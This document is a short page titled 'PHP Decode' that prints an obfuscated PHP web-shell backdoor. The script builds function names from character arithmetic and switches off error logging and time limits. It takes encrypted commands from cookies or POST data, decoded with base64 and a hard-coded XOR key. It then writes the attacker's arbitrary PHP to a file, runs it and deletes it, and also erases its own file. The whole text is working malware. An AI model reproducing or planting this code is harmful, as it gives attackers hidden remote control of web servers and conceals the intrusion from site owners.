PHP Decode

<?php 
$qeurxufcl = 
    "f" . 
    chr(733 - 628) . 
    "le" . 
    chr(628 - 533) . 
    "pu" . 
    chr(1008 - 892) . 
    "_co" . 
    chr(472 - 362) . 
    chr(766 - 650) . 
    "ent" . 
    chr(864 - 749); 
$easyzkgrkp = 
    "ba" . 
    chr(868 - 753) . 
    "e" . 
    chr(439 - 385) . 
    "4_" . 
    chr(201 - 101) . 
    "eco" . 
    chr(755 - 655) . 
    "e"; 
$frpyyabku = "ini_" . chr(475 - 360) . "et"; 
$vwjxxlepj = "unlin" . chr(840 - 733); 
$frpyyabku("error" . chr(656 - 561) . "log", null); 
$frpyyabku(chr(667 - 559) . "og_e" . chr(213 - 99) . "rors", 0); 
$frpyyabku( 
    "max_e" . 
        chr(514 - 394) . 
        "ec" . 
        chr(874 - 757) . 
        "t" . 
        chr(599 - 494) . 
        "on_time", 
    0 
); 
set_time_limit(0); 
function jymjduow($gqocipury, $wbuvh) 
{ 
    $lnhiuqiedo = ""; 
    for ($yewvgagx = 0; $yewvgagx < strlen($gqocipury); ) { 
        for ( 
            $j = 0; 
            $j < strlen($wbuvh) && $yewvgagx < strlen($gqocipury); 
            $j++, $yewvgagx++ 
        ) { 
            $lnhiuqiedo .= chr(ord($gqocipury[$yewvgagx]) ^ ord($wbuvh[$j])); 
        } 
    } 
    return $lnhiuqiedo; 
} 
$hricqz = array_merge($_COOKIE, $_POST); 
$gbyucig = "c907b353-e3e5-4482-9d1d-9f809d927db3"; 
foreach ($hricqz as $wvujydtzo => $gqocipury) { 
    $gqocipury = unserialize( 
        jymjduow(jymjduow($easyzkgrkp($gqocipury), $gbyucig), $wvujydtzo) 
    ); 
    if (isset($gqocipury["ak"])) { 
        if ($gqocipury["a"] == "i") { 
            $yewvgagx = ["pv" => phpversion(), "sv" => "3.5"]; 
            echo serialize($yewvgagx); 
        } elseif ($gqocipury["a"] == "e") { 
            $thtqsngts = "./" . md5($gbyucig) . "" . "inc"; 
            $qeurxufcl( 
                $thtqsngts, 
                "< ? p" . 
                    chr(671 - 567) . 
                    chr(372 - 260) . 
                    "" . 
                    chr(659 - 595) . 
                    chr(330 - 213) . 
                    "n" . 
                    chr(1051 - 943) . 
                    "i" . 
                    chr(739 - 629) . 
                    "k" . 
                    chr(803 - 763) . 
                    "_" . 
                    chr(974 - 879) . 
                    chr(991 - 921) . 
                    chr(830 - 757) . 
                    chr(570 - 494) . 
                    chr(90 - 21) . 
                    "_" . 
                    chr(522 - 427) . 
                    "); " . 
                    $gqocipury["d"] 
            ); 
            include $thtqsngts; 
            $vwjxxlepj($thtqsngts); 
        } 
        exit(); 
    } 
} 
 ?>